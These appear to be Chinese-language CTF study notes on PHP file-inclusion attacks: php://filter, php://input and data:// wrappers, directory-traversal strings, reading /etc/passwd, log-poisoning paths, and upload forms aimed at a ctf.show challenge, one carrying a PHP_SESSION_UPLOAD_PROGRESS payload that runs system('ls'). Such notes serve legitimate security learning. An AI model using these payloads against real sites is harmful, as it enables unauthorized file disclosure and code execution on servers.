

php伪协议

file://文件路径: 例, 1.win: file://C:/flag 2.file:///etc/passwd

php://filter: 例, php://filter/[可选的过滤器链]/resource=<要过滤的数据流>

base64编码: `php://filter/read=convert.base64-encode/resource=flag.php`

rot13加密:

`php://filter/read=string.rot13/resource=flag.php`

将UTF-8转成UTF-16:

`php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php`

大写输出:

`php://filter/read=string.toupper/resource=flag.php`

小写输出:

`php://filter/read=string strtolower/resource=flag.php`

php://input: 需配合POST, POST传输内容, 如<?php phpinfo();?>

`data://`: 可将数据嵌入url中

`data://[<mediatype>][;base64],<data>`

**mediatype**: 数据类型 (如text/plain、image/png), 可选参数 默认text

**base64**: 若数据需Base64编码, 则添加此标记

**data**: 实际数据内容

## 目录穿越

---

1.?file=../../../../../../../../flag

2.?file=source.php?../../../../flag

## 日志包含

---

nginx默认日志：1.访问日志/var/log/nginx/access.log

2.错误日志/var/log/nginx/error.log

记录每次请求user-agent报文

apache日志默认：/var/log/apache/access.log

apache日志文件存放着我们输入的url参数

ssh默认日志：/var/log/auth.log

# 临时文件包含

---

通常结合条件竞争

```
<!DOCTYPE html>
<html>
<body>

<form action="https://fdd731f2-8694-45ab-abc8-870b3a15af69.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>

</body>
</html>
```

multipart/form-data编码用于传输文件

# SESSION临时文件包含

---

No file chosen

```
<!DOCTYPE html>
<html>
<body>

<form action="https://fdd731f2-8694-45ab-abc8-870b3a15af69.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden"
```

```
name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php  
system('ls'); ?>" />  
<input type="file" name="file" />  
<input type="submit" value="submit" />  
</form>  
  
</body>  
</html>  
<?php  
session_start();  
?>
```

要实现session文件上传，需要POST+multipart/form-data+PHP\_SESSION\_UPLOAD\_PROGRESS

上传时要在Cookie请求头中加上PHPSESSID=<name>，会固定生成一个sess\_<name>文件，路径为/tmp/sess\_<name>